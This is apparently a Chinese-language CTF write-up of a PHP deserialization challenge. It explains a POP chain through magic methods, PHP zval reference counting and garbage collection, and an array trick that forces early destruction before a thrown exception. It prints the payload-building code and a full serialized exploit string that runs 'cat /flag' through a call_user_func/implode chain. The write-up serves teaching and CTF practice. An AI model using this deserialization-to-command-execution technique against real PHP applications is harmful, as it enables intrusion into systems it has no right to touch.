php反序列化gc

通过一道题来边看边讲php中的zval容器和gc回收机制

ezpop

<?php
error_reporting(0);
highlight_file(__FILE__);
class AAA
{
    public $s;
    public $a;
    public function __toString()
    {
        echo "you get 2 A <br>";
        $p = $this->a;
        return $this->s->$p;
    }
}
class BBB
{
    public $c;
    public $d;
    public function __get($name)
    {
        echo "you get 2 B <br>";
        $a=$_POST['a'];
        $b=$_POST;
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        call_user_func($a,$b)($c)($d);
    }
}
class CCC
{
    public $c;

    public function __destruct()
    {
        echo "you get 2 C <br>";
        echo $this->c;
    }
}
if(isset($_GET['xy'])) {
    $a = unserialize($_GET['xy']);
    throw new Exception("noooooob!!!");
}

这道题的pop链非常的明确

xy->CCC.__destruct()->AAA.__tostring->BBB.__get()

比较难想的一共有两个点,其一是如何通过call_user_function来调用系统函数,他的嵌套比较复杂.
这里我们可以利用php中的implode函数,作用是将一个数组中的所有值作为一个字符串来穿起来,并返回该字符串.我们看一个自己设计的例子

<?php
$a='implode';
$b=array('shell1'=>'im','shell2'=>'plode');
$c=array('sys','tem');
$d='dir';
call_user_func($a, $b)($c)($d);
//输出当前目录

我们可以通过这个构造方法来实现最后的执行.
第二个问题,如何解决一个throw new Exception("noooooob!!!");在to_string中,如果返回的不是字符串,那么就会出现报错,而如果出现报错,那么就会抛出错误并结束程序,那么就无法执行到系统命令.
这里我们需要了解php的gc回收机制.

引用计数

当我们PHP创建一个变量时,这个变量会被存储在一个名为zval的变量容器中。在这个zval变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息。

struct _zval_struct {
    zvalue_value value;       /* value */ 
    zend_uint refcount__gc;   /* value of ref count */
    zend_uchar type;          /* active type */ 
    zend_uchar is_ref__gc;    /* if it is a ref variable */ 
}; 
typedef struct _zval_struct zval;

第一个字节名为is_ref,是bool值,它用来标识这个变量是否是属于引用集合。PHP引擎通过这个字节来区分普通变量和引用变量,由于PHP允许用户使用&来使用自定义引用,zval变量容器中还有一个内部引用计数机制,来优化内存使用。

第二个字节是refcount,它用来表示指向zval变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。

看接下来的这个例子

<?php
$a = "new string"; 
xdebug_debug_zval('a'); //用于查看变量a的zval变量容器的内容
?>

我们可以看到这里定义了一个变量$a,生成了类型为String和值为new string的变量容器,而对于两个额外的字节,is_refrefcount,我们这里可以看到是不存在引用的,所以is_ref的值应该是false,而refcount是表示变量个数的,那么这里就应该是1,接下来我们验证一下
image
接下来我们添加一个引用

<?php
$a="new string"; 
$b =&$a;
xdebug_debug_zval('a');
?>

按照之前的思路,每生成一个变量就有一个zval记录其类型和值以及两个额外字节,那我们这里的话a的refcount应该是2,is_ref应该是true,接下来我们验证一下
image
接下来说一下容器的销毁这个事。
变量容器在refcount变成0时就被销毁。它这个值是如何减少的呢,当函数执行结束或者对变量调用了unset()函数,refcount就会减1。
看个例子

<?php
$a="new string"; 
$b =&$a;
$c =&$b;
xdebug_debug_zval('a');
unset($b,$c);
xdebug_debug_zval('a');
?>

按照刚刚所说,那么这里的首次输出的is_ref应该是truerefcount为3。
第二次输出的is_ref值是什么呢,我们可以看到引用$a的变量$b$c都被unset了,所以这里的is_ref应该是false,也是因为unset,这里的refcount应该从3变成了1,接下来验证一下
image
一般来说一个对象的zval容器是在程序结束以后会被销毁回收,从而触发__destruct魔术方法,那么有没有办法提前触发,从而在执行throw new Exception("noooooob!!!");之前成功的getshell呢?答案是有的,如果我能够使得$a的zval容器中的一个refcount为0,那么就能提前将其销毁,类似unset的用法.
我们可以设置一个数组,数组中的第一个变量是我们需要的对象,第二个变量是一个字符串.然后我们在反序列化结束以后将其长度改为0,也就是直接不设长度,那么就会在反序列化之后使得$a的zval容器的refcount值变为0,从而这个zval容器销毁,在不触发错误检查时进行反序列化攻击.

$a=new BBB();
$a->c=array('sys','tem');
$a->d='cat /flag';
$b=new AAA();
$b->s=$a;
$b->a='helloworld';
$c=new CCC();
$c->c=$b;
$d=array($c,0);
echo serialize($d);
//post传参  a=implode&shell1=im&shell2=plode

然后在得到结果以后将后面的0的长度改为0即可
payload如下

?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";a:2:{i:0;s:3:"sys";i:1;s:3:"tem";}s:1:"d";s:9:"cat /flag";}s:1:"a";s:10:"helloworld";}}i:0;i:0;}

倒数第7个字符串原本是1;

posted @   meraklbz  阅读(49)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
点击右上角即可分享
微信分享提示